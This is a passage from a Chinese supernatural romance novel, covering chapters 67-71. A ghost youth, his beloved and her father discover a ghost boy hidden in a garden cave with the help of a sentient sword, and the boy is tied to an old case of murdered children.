他回过神来,扯扯嘴角,却挤不出什么笑意,“魏大人,你说的没错,我自小阴郁,祖母很怕在她去后,我再无牵挂,一直嘱咐我,还逼我发誓,我不敢辜负她老人家的期望,所以,我没有想不开。” 魏父怜悯地望这个少年一眼,才十六岁的年纪,一次中举,还是头名解元,如果没有死去,一定会有个大好前程的。 但怜悯只有一会儿工夫,魏父转了话题,“那么,那个你喜欢的姑娘,难不成,就是姻儿?” 陆魂脸红了红,细x若蚊蚋地嗯了声。 魏父叹口气,“我不管你当年到底怎的死的,但你该知道的,人鬼殊途,你不该日日跟在姻儿身边。” “魏大人。”陆魂终于抬起了脸,“我很清楚,所以五年来一直不敢现身,可直到我不久前,发现了一桩有关于姐姐的事。” 魏父完全没有想到,大惊道:“什么?跟姻儿有关?” 陆魂点了下头。 “什么事?”魏父追问。 “这事不好说,我只是察觉到那个人好像有些心怀不轨,但只是我的一点揣测。”陆魂解释道:“但如果我的揣测没有错,那个人很可能会做的,所以我才出现在了魏姐姐身边,直等到这件事完成,姐姐她没有威胁了,我会自己离开的,魏大人不必担心。” 魏父没有想到这个少年心里藏了这么多事。 而且。 他早知他与魏姻是不可能的了。 早已抱着尘埃落定后,就离去的打算。 两人谈完话,再次回到饭厅,只有魏姻一个人在,裴老先回房休息了,魏姻怕魏父为难少年,但看魏父神色和蔼,对待陆魂颇为和颜悦色,也就放了点心。 魏姻要给魏父斟酒,魏父见裴老离开了,于是挥挥手,也不打算喝了。 正要起身离去,一个随从就来找裴老匆匆回禀,魏父说,裴老已经歇下了,有什么事回他就是。 随从知道魏父等人与裴老亲近,便立即道:“方才属下带人在宅子各处巡看,在走到园子那头时,突然听到园子后墙有很大动静,我们过去一看,看到了一个二十出头的年轻人翻墙而进,当场被我们抓住,他衣着看着齐整,可人却奇奇怪怪的,自己闯进园子里也就罢了,还非说有一个男孩进到了园子里,又说小男孩怎么进园子里就不见了,说肯定是我们给孩子又拐走了,让我们赶紧将那男孩交出来,这不,现在还在园子里头扯着我们的一个人怎么也不肯放,让他交出孩子呢。” “他说有孩子进到园子里了?”魏父问。 “可不是。”那随从道:“非说有孩子进来了,但我们那会刚好在园子门边歇脚,若是有孩子进来或者从园子里走了出去,怎么会一点听不到看不到,而且后来我也让人赶紧将园子到处看住,甚至在整个宅子里都找了一遍,都没有,连门上看守的也说根本没有见到什么孩子从大门那边出去,可那个人,死活不肯相信,非要我们交出孩子来。” “这事别吵醒裴老他老人家了。”魏父说道:“你领我们去看看就是。” 文家老宅这个园子,黑灯瞎火得很,没有一点光亮,比起之前文轩他们在世时要冷落得多,裴老极少顾得上理会园中景致。 但那些银杏树还都在里头,依旧长得很好。 那随从带着他们来到了园子的一处后墙。 站了好几个手拿灯笼的随从在这里,其中可以看见,在后墙墙角根处,一个随从被一个年轻男子紧紧拽着衣襟不放,有几个随从想要上前帮忙,但那个年轻男子的力气倒是出奇地大,蹲坐在地上,双手将随从抓得死死的,任凭其他人去扯他都扯不动,而年轻男子则狠狠瞪住,似乎生怕让手里的那个随从给逃掉了。 “就是他,非要我们把孩子交出来,没见过这么疯癫奇怪的人。”领他们过来的那随从说。 魏父皱了皱眉,和魏姻陆魂一起走过去,走近了,终于看清了这个年轻男人的面容。 年轻男人着了一身便于行动的劲装,他宽肩、身形高大,虽然看起来较为瘦长,但其实并不瘦弱,反而有着精壮的手臂和长腿,长相则属于明朗的类型,剑眉星目,郎朗有神,正气凛然。 看到这人,魏姻先是一怔,魏父跟着愣愣发问。 “嘉玉,怎么是你?” 魏姻上前一些,看得更清楚了,“纪公子?” 听到这声音,原本还在嚷嚷着要随从交出孩子的纪嘉玉,疑惑往回看去,当看到魏父与魏姻,尤其是魏姻时,他突然脸红了,猛地从地上弹起来,去整理自己身上的衣着。 可一只手倒是依旧没有收回去,紧紧拽住随从。 魏父看眼前景象,笑了,“嘉玉,你这是做什么,也太没有礼数了,快放手。” “魏伯父!”纪嘉玉振振有词道:“这些人把一个孩子给藏起来了,你快去衙门,不能让他们走了。” 魏父训道:“胡说什么,这是裴老的随从,藏什么孩子,放手。” “裴老?”纪嘉玉一懵,很快想起来了,但他没有立即松手,而是跟魏父犟道:“魏伯父,可我真看见有个孩子进了这园子就马上不见了,如果不是这些人做的,那孩子怎么会无缘无故就一下不见了呢?” “哪里有孩子,根本就没有孩子进来。”随从怒道:“我们只看到你一个人翻墙闯进来,还硬抓着我们不放!” 魏姻也道:“纪公子,这些都是跟了裴老多年的人了,裴老的人不会胡说,你弄错了吧?” 纪嘉玉懵了。 第68章 他这才,慢慢地松开了手。 被他拽住的随从颈子都快被勒断了,如获大救似的赶紧溜开,呼吸着新鲜空气。 面前的这个一身力气身着劲装的年轻男子不是别人,正好是曾经那个,在魏姻还没有嫁给贺文卿前,就向魏姻求过亲的纪御史家的公子,纪嘉玉。 魏父到荒州那天,还与魏姻说起过他。 纪嘉玉恍惚过后,还是不敢相信,“可我确实见着了一个孩子,是个男孩,大约八九岁的年纪吧,模样清秀,穿着一件极宽大的白色细麻衣,衣服足比那孩子大了好几圈,是我在荒州城里撞见的,我还奇怪深更半夜,这孩子怎么一个人穿这么成这样在外头乱逛呢,我就一路跟着他过来了,但却怎么也跟不上他,直到来到这里,到这个园子就不见了。” “细麻衣。” 远远站在一旁墙角的陆魂,突然轻轻喃喃了一声,他垂在两旁的手指痉挛般剧烈抖了一下,但仅是一下,大家都关注着听纪嘉玉说话,并未曾发现他这一刹那的不对劲。 若是纪嘉玉看错了胡说,恐怕也不会连那孩子穿着什么颜色哪样的衣服都说得出来。 这倒让魏父有些怀疑了,对随从吩咐道:“再将整个宅子到处都仔细找一找,看看是否真有个孩子进来了。” 随从只得按吩咐再去到处搜寻一遍,连老鼠能藏的地方都找了,回来时对着魏父摇头。 “魏大人,若真的有孩子进来了,我们那个时候都在园子门口,怎么着都会看见的,而且便是后来我们听到这位纪公子的声音过来了,但也以防万一,留了人在门口看住,不可能会让那孩子趁机溜走。” 纪嘉玉见说得如此仔细,自个一时也有点摸不清头脑了,“魏伯父,难不成,我真看花眼了?这么一说,我觉着头是有点晕,今日赶了一天的路,还未曾用饭的。” 魏姻站在魏父身旁,看这位纪公子还是跟以前一样不着调,忍不住笑了笑,纪嘉玉惭愧低下头去,不敢看她。 魏父似乎还挺喜欢这个纪嘉玉性子的,满不在乎地道:“刚好裴老今晚设了宴,你一起去吃些吧。” 纪嘉玉赶忙让一旁随从挑高灯笼,迅速整理了一下衣冠,才拱手道:“多谢魏伯父,让魏伯父见笑了。” 纪嘉玉糊里糊涂的,但到底是个有教养的官宦子弟,虽饿极了,没有立即扑去用宴,让魏父领着他去给裴老拜一拜,裴老睡下,懒得起身,就没见他,于是纪嘉玉便在房门外遥遥地问了安,为方才闹出的动静给裴老道歉请罪,得到裴老不追究后,才重新回到饭厅。 纪嘉玉便坐在了魏父的左边,魏姻带陆魂坐于魏父右边。 酒宴所幸都还没有被撤下,但到底都已经动过的,纪嘉玉胃口很大,魏父就让人再上两道菜给他。 在纪嘉玉和魏父对酌用饭时,魏姻这才发现陆魂的神色与往常不太一样,他沉默得很,比平常不善言辞的沉默不同,他拧眉思忖着什么,所以沉默得几乎要忘了四周的一切。 魏姻看到,他的手心不在焉地揉着袖口,将衣袖揉得发皱。 她疑惑地问:“陆魂,你怎么了?哪里不舒服么?” 陆魂一副忽然缓过神来的模样,掀眸瞧她,然后,x摇摇头。 魏姻顿了顿,便笑起来,“那个纪公子,你还记得么?他以前还来学堂附学过两日。” 陆魂凝了一眼纪嘉玉方向,点点头,“记得,纪公子是纪御史的独子,一直是由纪御史亲自教导,来学堂附学那两日,是他想要与姐姐求亲,所以哄了纪御史,说来魏家好好读书,不过没两日,便被纪御史发现了,将其打了一顿,不许他再来学堂胡闹了。” 魏姻:“没想到,你记得这么清楚……” “有人来跟姐姐求亲。”陆魂眼睛看着她,慢声慢气回道:“我怎么会记不清楚。” 他语气一如既往平静,没什么起伏波动,但魏姻忽然觉得,从他最后一句话里,听出来了一丝闷声闷气来。 从纪嘉玉与魏父的谈话,才知道纪嘉玉为什么会出现在荒州。 原来是纪嘉玉在得了功名后,很快入了职,在他入职后没多久,他那衙门里就出了一个案子,大约是有人在京中一处隐蔽地方无意间挖到了一对尸骨,是一男一女两个孩童,经过仵作鉴定,死了有至少七八年了,虽说是被人杀害而死,但令人不可思议的是,两个孩子的尸体在生前明显是有被人严重侵害过的。 经过一系列的追查,近期纪嘉玉发现了一点线索,这对孩童是荒州人氏,于是他在魏父赶来荒州后,也一并追查而来,后面就是如他方才在园子里所说的那样。 来到荒州后,本想先进客店歇脚,可却正好撞上了一个男孩,纪嘉玉不放心,追着这男孩就来到了文家老宅附近。 纪嘉玉并未透露太多,只大概说了下这个案子,在纪嘉玉说起这个案子的时候,陆魂似乎更沉默了,面容比平日更显得苍白。 说到最后,陆魂径自站起身,他对魏父魏姻说:“魏大人,姐姐,我先回房了。” 他说完,连魏父还没有来得及点头,便一副再也忍耐不住的脸色,大步转身离去。 魏父望着一直很有礼数的乖巧少年骤然离去,也不禁愣了一下。 魏姻迟疑了一下,也站起身,“阿爹,他可能伤口难受,我去看看。” 魏父大方挥手示意。 这会儿,纪嘉玉吃饱喝足,才算注意到了陆魂这个少年的存在,他看到了少年过于苍白不像活人的脸色,整个人仿佛活在一片阴气下,他人虽不太着调,却到底是习惯办案的,总觉得这个少年似乎不太正常,他起了点疑心,不动声色朝魏父开口问。 “魏伯父,方才那位是……” “哦。”魏父不轻不重地答道:“这你还是去问姻儿吧。” 纪嘉玉脑子一转,“我上次听您说,姻儿要与贺文卿和离,你才匆匆赶来荒州,看他与姻儿……难不成,他是那个让姻儿与贺文卿和离的……情夫?” 魏父咳了两声,“你这孩子说话怎的还是这样没轻没重呢,什么叫情夫,传出去坏我家姻儿名声,也就是一个与姻儿亲近些的孩子罢了。” 纪嘉玉想起方才魏姻与陆魂悄悄凑近说话的一幕,嘴角一抽,这可不太像是“只是有点亲近些”的样子,魏父向来溺爱魏姻,这事他也能面不改色地胡扯。 魏父一眼看穿他所有心思,“嘉玉,你不用去在意那孩子哪里不对,他这人,我一清二楚,全都知道,你若是真要知道他到底是什么,说不准会吓着自己。” 纪嘉玉更来兴趣了。 饭厅这头说的话,并未传到另外一边。 陆魂在回到房里后,连烛火都没有点,直愣愣地就坐在了床榻边上发起呆来。 这宅子太大,裴老的下人也少,没人会来给他添烛火,反倒让陆魂有个安静的独自出神的时间。 他面色很苍白,嘴唇也苍白,而藏在袖子,如今搭在腿上的手指又开始痉挛起来。 陆魂虚弱闭起双眸,好似有什么痛苦的东西浮现在眼前,而他正在尽力压制这个痛苦,许久后,他重新睁开眼来,眼眸里浸满了浓浓的悲戚之色。 比任何时候都要显得阴郁几倍。 魏姻的身影,在这时候出现了。 她带了一个食盒过来,见屋子里没有烛火,还以为陆魂还没有回房里,她正要出去问问下人,陆魂及时出声喊住了她。 魏姻皱眉,“你怎么不点灯呀?我还以为你不在呢。” “房里黑,你站着别动,我点了烛火你再过来。”陆魂并不作声回她的话,而是径自起身去拿火折子点灯,灯亮后,他才让魏姻动。 此时,陆魂那浓重的悲戚阴郁之色已经被他重新收了起来,看不到一丝一毫的痕迹,魏姻注意看他,见他除了比平日苍白些,倒并无异样,于是奇怪问道:“你方才怎么了,怎么那个样子,当真是身体不舒服么?” 陆魂点头。 魏姻放了心,“你晚宴什么都没用,我给你带了些吃食来,你用吧,我还要去父亲那看看。” 陆魂乖乖接过她手中食盒,“这宅子大,没什么人,夜里又黑,我让破军送你去。” 他喊了声“破军。” 没反应。 魏姻说道:“破军大约又是去哪里玩睡着了,我自己过去吧,府中常有随从巡视,不会有什么危险。” “好。”陆魂只得说道:“我去给你拿盏灯。” 而据说跑去哪里玩睡了的破军,当真就在宅子屋檐上探头探脑地到处飞来飞去玩,它偶尔看到了巡视的随从,又故意用剑尖从屋檐上挑下去一点碎瓦块,掉到随从身后,将有几个胆子小的随从吓得都脸色发青了,还因此遭了头儿的一顿好骂。 不过它捉弄几下就觉得没什么意思了,便掉转剑头,准备好好找个舒服的地方睡个一整夜。 发现园子里山石形成的一块大洞穴还不错,刚好横竖都能容纳它的整个剑身,里面还堆着厚厚的一堆银杏叶,软乎乎的。 破军便抬起剑脑袋就要往里头转,这时,猛然看见,洞穴另外一头背坐着一抹白色的小身影,这一时间,无论是破军,还是那个里面的白色小身影,都被对方给狠狠吓一跳,双方赶紧各自背对着往两边跑。 第69章 破军扑腾扑腾吓得往外飞了一会儿,似乎忽然又意识到不对,才反应过来它是剑,没东西能拿它怎么样,所以为什么要跑呢,破军这样想着,于是又哼哧哼哧地往回飞,它飞得不快,就像人在步行一样,只略微带起了一点漾动湖面的微风。 它剑脑袋一探一探地往洞穴里伸,就好像一条好奇的蛇。 终于,在洞穴尽头,它又看到了那个白色小东西了。 那个小东西也跟破军一样,受了很大的惊吓,直惊恐地拿脑袋往洞穴尽头上撞,想要穿过洞穴跑出去,但那一头是不知道有多厚的岩石块,根本就穿不过去。 这才看清楚,这个拿着自己头往石壁上撞的东西,其实是一个人,一个年纪很小的小男孩,这孩子头发乱糟糟的,活像个乞丐疯子,除了一件比两个他还要宽大的细麻衣松松罩住小身体外,身无一物,鞋也没有,两双小脚丫露在外头。 他察觉到破军回来了,更加瑟瑟发抖用劲往墙壁上撞,同时,又似乎有些疑惑为什么这里不能和之前一样直接穿过去。 即使如此撞,他的头依旧完好无伤。 破军看清楚这是个小孩,一点也不慌了,慢慢凑过去。 小孩见此,将头撞得更起劲了。 破军停住了,好玩地看着他撞,为了方便看,干脆还将地上的银杏叶拢了拢,它好能躺下观看,小孩撞了足足有好好一会儿,撞得实在累得没劲了,才安分下来,回头,瞪住这把看热闹的破剑。 小孩虽然在瞪人,但并不可怕,反而因为面容消瘦而显得几分可怜。 也许是感觉到了破军并无伤害他的意思,不再动,闭着眼睛,捂住肚子难受地睡过去。 破军瞅瞅他,忽的转身飞出洞穴。 小孩睁眼看看,挪了挪身体,继续睡,不理会。 破军一路不停搁,飞回了陆魂房里,这时候,魏姻刚放下食盒离去不久,陆魂思虑着什么事情,坐在一盏油灯前出神,任由食盒在一旁,并无胃口。 破军悄悄猫过来。 陆魂平时早就察觉了,可他今日明显毫无心思。 破军一眼瞧见了旁边桌上的食盒。 它看陆魂久久不用,于是立即,默默过去,用剑尖挑起食盒,转身就一下子飞不见了。 半晌后,陆魂x回过神来,有点胃口了,正要拿食盒。 发现,食盒悄然不见了。 他手一怔。 拿到食盒的破军,再次回到了那个洞穴里,听到有声响,那个小孩再次被惊醒,又开始用头去撞墙了。 破军放下食盒,用剑脑袋敲他的头。 小孩才知道,是刚才那把破剑。 在小孩怔愣之际,破军一副漫不经心的模样,将食盒往他面前推了推。 小孩不明所以。 然而破军已经转过剑身去,一副不愿搭理他的模样,大摇大摆躺回到银杏叶堆上睡觉。 小孩迟疑了很久很久,看破军没什么反应,他终于小心翼翼地伸出手,将食盒揭开,当看到里面的食物,眼睛一亮,抱着食盒就狼吞虎咽地吸食起来。 园子洞穴里发生的这一切,整个宅子都没人知道。 破军更是觉得好玩,每日都会偷偷跑去摸出点吃的来给这个小孩,有时是从陆魂那里,有时是从魏姻那,有的时候,它甚至也跑去魏父裴老,甚至是纪嘉玉那儿。 每次拿得并不多,别人都不怎么在意,但唯独纪嘉玉发觉奇怪了。 他力气大,食量也大,平常也爱吃,身边常有零嘴什么备着,多少会留心,可他最近却发现,无论是自己的零嘴还是糕饼什么,时不时会少上许多。 这就让他有些护食了。 纪嘉玉闷闷在园子里走着,恰好看见陆魂在一处常年不见日光的阴凉银杏树底下看书,他当即走过去。 银杏树底下特意摆了个茶台、铺了厚软垫子的躺椅,是魏姻让人布置的,陆魂伤还在恢复,身体虚弱,平日里呆在房间太闷,就让他在这里看看书,喝喝茶,打发打发时间。 见到纪嘉玉走过去,陆魂略微从书里抬了抬眸,凝他一眼,转而又低下头去了。 纪嘉玉跟陆魂只见过几次,却已经知道他这人的寡默性子了,自顾自地给自己倒一杯茶咕噜咕噜喝下去。 看陆魂半天都不说话,纪嘉玉忍不住好奇了,“陆公子,你这么闷的性子,怎么讨姻儿喜欢了?” 陆魂终于抬头了。 却不发一言。 “真奇怪。”纪嘉玉叹口气,“这两日我的吃食老是莫名其妙不见了,我觉着荒州怪得很,上回明明看到了有个孩子进这园子来了,却什么都没有,这次怎么吃食也老自己不见了。” 陆魂脸色微微深沉起来,“纪公子,上次当真有看到一个孩子?” “我年纪又不大,还没到老眼昏花的地步。”纪嘉玉斩钉截铁地肯定说道:“绝对不可能看错眼,分明我看到他是穿着一件极宽大的细麻布的白色衣裳。” 陆魂握紧书,指节被攥得开始发白。 说了些话,亲近了些,这时纪嘉玉夺过他手中书,说道:“哎呀,别看了,你整天就闷在这里,是不好讨姑娘喜欢的,趁着今儿天好,我这两日又有休息的时间,我们叫姻儿去捉鱼吃么,我看到园子深处那边有个湖,里面还有不少鱼呢,正是肥的时候,你说呢?” 陆魂望住日光,摇头:“纪公子去吧,我不去了。” “去吧。”纪嘉玉觉得这小少年太安静了些,想拉他去走走,“看书多闷呀,你去亲手捉条鱼,烤给姻儿,她肯定高兴。” 陆魂心念一动,可银杏树外的日光,让他望而止步了。 他还是摇头。 “多谢纪公子,我还是不去了。” 纪嘉玉刚走,魏姻端了一碟果子过来,放到茶台上,她朝陆魂看眼,陆魂当即乖乖将自己的手臂递给她,魏姻卷起他的衣袖看了看,身上的灼伤恢复得很好,只有淡淡的痕迹了。 她笑道:“今晚再上一次药,应该就可以了。” 说到上药,陆魂耳根一红。 正说着,魏父的身影从这里走过,魏姻喊住他,“阿爹,你这是要去哪?” “还不是嘉玉那孩子。”魏父看起来心情很好,“说要捉鱼烤给我尝尝,一定要让我过去看着,我倒是要看看他怎么捉鱼。” 魏姻听闻,“是么,那待会我也去尝尝。” “行。”魏父摆手,“我让他给你留条。” 陆魂垂着眸,问:“姐姐喜欢吃鱼?” “还好。”魏姻没注意到陆魂的神情。 “那姐姐过去吧,我看书了。”少年重新翻起了书页。 魏姻不作他想,真过去了。 银杏树下,又只剩下了少年一人。 不知什么时候,陆魂发现破军出现在身旁,似乎看出了他的情绪比平时低落些,拿着剑身往陆魂手背上贴了贴。 陆魂拍拍它的脑袋,“去玩吧。” 破军没动。 夜晚降临,将这银杏树下彻底隐没在一圈暗影里,陆魂这卷书看到了最后一页,他这才放下书,破军不知道何时不见了,与之一起不见的,还有之前魏姻给他端来的一碟果子。 那碟果子,他没有动过。 陆魂出神注视了一眼果碟位置,回房- 房外,很轻的脚步,魏姻走进来,陆魂拿着瓷瓶,给自己身上上药,后背地方不好上,他有点费力。 “你怎么自己擦了。”魏姻忙过去,接过。 陆魂看到是她后,再次低头,“我有些累,准备早些歇下,想着姐姐今晚兴许在湖心亭那边吃得尽兴,不会回来得早,便自己上了。” “那你可以先睡,等我回来再给你上药就是。” 魏姻给他将药膏用手指抹上去,揉开。 陆魂嗯了声,没再有话说。 魏姻低了低头,看他沉默得很,于是笑了笑,“你还是这样闷,不知道跟姐姐多说点话。” 陆魂脊背弯了弯,更加不发一言,可又不知道怎么了,又忍不住看向她,然后闷闷地开口:“姐姐抱歉,我不如纪公子明朗,让你不开心了。” 魏姻原只是随意一说,逗逗他,想不到他会说出这样的话,一时呆愣住。 “你说什么呢?”魏姻倾身在他的唇上亲了亲,“怎么就让我不开心了。” 陆魂眼睫一片阴影。 上完了药,魏姻和平时那样,将衣襟纽扣解开,双手圈住他的脖子,额头和他碰了碰,又笑,“好了,怎么突然一副闷闷的样子呢,姐姐让你亲好不好?” 陆魂没有亲她,而是伸手将她的衣襟重新扣上。 魏姻完全愣住了。 这少年怎么又古怪起来了? 魏姻揣度着他的心思,似乎他从上次纪嘉玉说起什么事时候就开始不太对劲了。 今日更显阴郁了。 “姐姐。” 少年忽然又自己开口了,问得突然。 “魏大人好像很喜欢纪公子。” 魏姻点点头,“纪嘉玉挺不着调的,还有点护食,有时候又有些傻,但这脾性正好对了我阿爹胃口,不过,他人不坏的。” 陆魂倏地道:“纪公子很明朗……” 魏姻顿了顿,好像一下子意识到了陆魂今晚如此阴郁闷闷不乐的缘故了。 她立刻捧起眼前少年的脸,认真地道:“陆魂,人和人的性子是不一样的,不管是明朗如纪嘉玉,还是如你这样憋闷,只是各人性情不同而已,而不是非要怎样才是好的,你明白么?” 陆魂眼中阴霾渐渐消散,只听他道:“我明白了,姐姐,你遮住眼,今晚……还没有亲姐姐的。” 魏姻忍不住大笑起来。 第70章 夜晚的湖心亭,通常是阒无一人的,只听得见湖里的蛙蝉鸣叫,但过了夏后,蛙蝉声音也逐渐消失无踪了,就显得黑冷黑冷的,跟画上去的一样匍匐在文家老宅的角落里。 今晚却不一样,因着纪嘉玉,裴老与魏父都来了,各自又都带了几个随从,怕裴老年纪大摔跌,提前布置了许多的烛火在栏杆,山石上。 纪嘉玉亲自卷起裤腿,脱了鞋袜去湖里捉鱼,湖水虽凉,但年轻人身强力壮,血气旺盛,毫不惧冷。 亭中风大,裴老与魏父上年纪的,则支了个火盆,在冷冷冻冻的秋风中喝热茶。 魏姻吃了小半条烤好的鱼后,就回去找陆魂了,裴老高龄受不住风,略微尝了几口也回去了,只有魏父与纪嘉玉对饮到深夜才各自散去回房。 纪嘉玉已经喝了个大醉,他没带侍从,独自一人跌跌撞撞地往外走,他走到一个洞穴附近时候,听到了身后有什么东西在响动,回头看,却是什么都没有,他疑惑地再定睛往上瞧瞧,看到了一个让他惊掉下巴的场景。 一柄快有一人长的剑,挂着个食盒从他头顶飞过去。 他晃晃脑袋。 试图将酒意给摇x醒。 可他一双眼珠子,仍然死死地盯着那把自己在飞的剑。 纪嘉玉愣了一下,忍不住好奇心,抬脚跟上去。 剑飞到了一处洞穴里。 洞穴太黑,看不清楚。 好在纪嘉玉手里有灯笼可以照见一些。 洞穴稍微有点深,他往里走了一点,里面什么声音都没有,很安静,好像根本没有人在,可他再往里头走一点,就隐约看到尽头那端似乎有着道身影在动,他提起灯笼,让灯笼的亮光可以再往前洒一点,便看到了他此生都忘不了的一个画面。 一把锈剑,大约就是他方才看到的那把剑,居然挑着个食盒放到了地上,又用剑脑袋去拍靠墙的一个小孩。 那小孩于是转过了身来。 竟然正是他那天看到的一个穿白色细麻衣的孩子。 这把剑…… 居然在给小孩送饭! 看到这里,纪嘉玉手中灯笼,啪嗒一下砸在地上。 这声音终于惊动了破军和小孩,小孩吓得比纪嘉玉还要剧烈,又用头去撞墙了,想要从墙壁穿过去,破军赶忙拦住孩子,看自己被发现了,又连忙朝着纪嘉玉飞过去。 纪嘉玉眼看着这把剑朝自己飞过来,以为它要捅他,吓得脚都软了,顾不得灯笼,一边叫着爹啊娘啊的,嚷着有剑成精了,一边拼命往园子外边跑。 吓得破军追得更紧了。 不经意间,跑到了陆魂魏姻这边,魏姻先听到了纪嘉玉的惨叫,立刻推埋在她颈间亲得忘我的小少年。 陆魂不愿意起身,“姐姐,不行……” 魏姻在他唇上吻了吻,哄他起身,陆魂这才不情愿地坐直身子,仔细扣上她的衣襟。 不止是魏姻他们,就连住在边上的魏父等人都惊醒了,纷纷披衣来看怎么回事。 魏父站在不远处,皱眉望着大喊大叫的纪嘉玉,问道:“嘉玉,你大半夜不睡觉,喊叫什么?也不怕吵了裴老休息。” 纪嘉玉忙跑到魏父面前,“魏伯父,有剑在追我,救命呀。” 魏父没多想,呵斥道:“胡说什么,怎么喝了点酒就醉成这样。” “真的有把怪剑!还是把自己会飞的怪剑,一直在追着我跑,不信你快看看……”纪嘉玉指着身后,回头,但后面空无一物,上一刻还在追着他跑的剑不见了。 魏父只以为他是喝多了眼花,“行了行了,看你喝的,我让人给你做点解酒汤来。” “等等。” 陆魂似乎发觉到了什么,猛地往纪嘉玉身后的一棵树后看去,他捡起一块石子,朝那打去。 铿锵一声。 树后面有东西刮动了地面。 “魏伯父,你看你看!”纪嘉玉紧紧拉住魏父的手。 “到底什么东西?”魏父怒视,“出来。” 说着,树后面传来了一点点动静,接着,破军那把剑就慢慢地,小心地冒出个头来,接着才将身子给全部露出。 几人一看到是它,都怔了下。 纪嘉玉大叫了声,“魏伯父,就是它,就是它,它追着我,这把剑它会自己飞。” 破军一副有点心虚的样子,慢吞吞地挪到魏父身边,用剑脑袋贴贴他的手指,将纪嘉玉吓得赶紧从魏父身边后退一大步,避开它。 魏父笑了,摸摸破军的脑袋,才对纪嘉玉说道:“你这孩子,怎么说也是办过案的,还被一把剑给吓到了,胆子也忒小了,你别怕,过来看看。” 纪嘉玉猛摇摇头。 “这把剑叫破军。”魏父提醒道:“就是圣上那把御剑,你之前还一直叨叨着想见见么,你过来看看。” 纪嘉玉瞪大眼睛,这回是惊喜,他看破军竟然贴着魏父的手,一副撒娇的模样,更惊奇了。 “你别怕。”魏父说道:“破军是把世间罕见的宝剑,不是怪物,如今有了些灵性而已,你不要怕。” 纪嘉玉这才放了心,不再哆嗦了,赶忙上前好奇看看。 魏姻上前道:“纪公子对不住,破军它顽皮,吓着你了,破军,给纪公子道歉。” 破军便朝纪嘉玉弯了弯剑身。 纪嘉玉觉着真见鬼了,想起什么,立刻道:“对了,魏伯父,我便说我上次没有看错,我方才又看到了那个孩子,破军方才就和他在一起,还给那孩子送吃食……” “原来如此。”陆魂抿唇,“难怪它这两日总来我这顺吃食。” 这会儿纪嘉玉陡然想起了,瞪住破军,“我的零嘴都是你拿走的?!” 破军背过身去,当做没有听到。 没想到园子里真有一个孩子进来了,却悄无声息,几人便跟着纪嘉玉去了那个孩子藏身的洞穴。 一进去,那孩子果然还在那里没走,看到这么多人过来,全身都惊恐到哆嗦起来,像是疯了一样,哐哐往墙上撞,想要跑出去。 而这孩子,果然也如纪嘉玉所说的那样,一身白色细麻衣罩在身上,头发脸都乱糟糟的,但依稀可以看出,这是一个男孩。 陆魂眸光落在那孩子的衣着上,身体一僵。 他没有再走上前去,只是沉郁地死死盯着男孩看。 魏姻他们光顾着看孩子,没有注意到独自立于后面的少年全身出奇地僵冷,一块冷雕般,背脊都仿佛在发僵。 魏父看出了那孩子的恐惧,抬手让魏姻和纪嘉玉停下脚步,想了想,对破军道:“破军,你过去安抚一下他。” 破军飞了过去,孩子见是它,才冷静了些,只紧紧将破军抱住。 破军朝他手臂拍拍,似乎在告诉他,不要怕。 魏姻看那孩子平静了些,这才准备上前问问他怎么跑到这来了。 但身后少年忽然拉住了她,“姐姐,先别去,这孩子,他不是人。” 魏姻瞬间不敢动了。 魏父眼神一紧。 只有纪嘉玉不明所以。 闭了闭眼,陆魂在压下什么复杂情绪后,才对众人道:“你们别过去,我去。” 说着,陆魂喊了声破军,破军于是从孩子怀里跑了出来。 陆魂眉头皱得很紧,在那个孩子面前蹲下来,目光在他的衣物上不动声色停留片刻后,才对那个孩子伸出手。 孩子警惕盯着他,但好像知道陆魂和他是一样的鬼,所以倒没有再惊恐。 陆魂一句话没说,只摸摸他的头,眼神温和,孩子似乎感觉到了,并未躲开,陆魂柔声跟他道:“这里太黑了,我带你出去好不好?” 孩子没动,目光转向破军。 破军点点剑脑袋。 于是孩子这才放松下来,陆魂便把他抱了起来,跟着对魏姻道:“你跟魏大人先回去,将下人都遣开,这孩子害怕生人,我带他先去我房里。” 魏姻和魏父都明白,二话不说先走了。 纪嘉玉完全摸不着头脑地站在原地,但是,在陆魂抱着这奇怪孩子从他身边离开洞穴时,他却从孩子那没有穿鞋的右脚上,看见了孩子的六趾。 他脸色猛变了一下。 因为,他清楚记得,上次发现的那一对孩子尸骨,其中那个男孩,刚好右脚是有六趾的。 陆魂抱起孩子离开了,只剩下纪嘉玉一个人站在黑漆漆的洞穴里,从洞外灌进来一阵夜风,却将他凉得浑身上下一个激灵。 他不敢再多想,连忙跟上去。 陆魂将孩子抱回房时候,魏姻已经将所有下人遣开了,包括在宅子里巡视的那些人。 孩子躺在房里的一个小榻上,他蜷缩着身体在角落里,纪嘉玉赶来时候,忍不住往孩子的脚上看,可孩子已经被被褥给遮盖住,看不到。 孩子不愿意说话,也不怎么理会人。 纪嘉玉望着眼前这个古怪的孩子,才道:“陆公子,请你将这孩子的脚给我看看。” 陆魂看他一眼,将小孩脚上被褥拉开。 纪嘉玉这回完全看清楚了,这小孩右脚确实是长着六根脚趾,他眉头一下子皱得紧紧的,有点复杂地望住这个孩子。 “他……有六趾,那个男孩右脚也是有六趾的……” 陆魂闻言,突然抬眸瞧纪嘉玉一眼。 他问:“纪公子,上次我曾听你说过,你正在办的那个案子,两个孩子都是被人杀害的,其中,他们身上都有被人侵害过的痕迹?” 纪嘉玉愣愣,点头。 “不错,是这样,虽已过了多年,但经过仵作查验,确实有……也不知是什么人,如此丧尽天良,这么小的孩子,都下得去手。”《 》 70-80 第71章 接下来的话,陆魂仿佛耳鸣了一样,半句都进不到耳朵里,本就苍白的面容这会儿惨白到纪嘉玉都看着不太对劲,停下话头问他怎么了,但陆魂已经听不到纪嘉玉的声音了,只看得到他的嘴在动,纪嘉玉伸手要来拉他x,陆魂浑身一阵麻木,跟着,极狼狈地挥开纪嘉玉,往外疾步而去。 他又来到了银杏树底下。 树下设的茶台和椅子都没有被撤去,如旧摆着,不过半日功夫,就落了些黄灿灿的银杏叶堆在上面。 陆魂站了站,将银杏叶一点点扫掉,才在椅子上坐下。 他没有五感,从来不惧这些凡俗的冷。 可此刻秋风夜风簌簌地从屋檐上刮过来,他却忍不住冷得心里发颤。 陆魂想起了。 很久很久以前。 在长着大槐树的陆家,漆黑夜里,陆老夫人与陆明礼都焦虑候在门外,而屋里,是妇人在里头痛苦生产。 陆夫人当年怀头胎时,正好贺夫人将陆魂送到陆家,最终,这个突然横插进夫妻二人的孩子让陆夫人怒极攻心下,流产了,伤到身子,调养了许久才重新怀上了这第二胎。 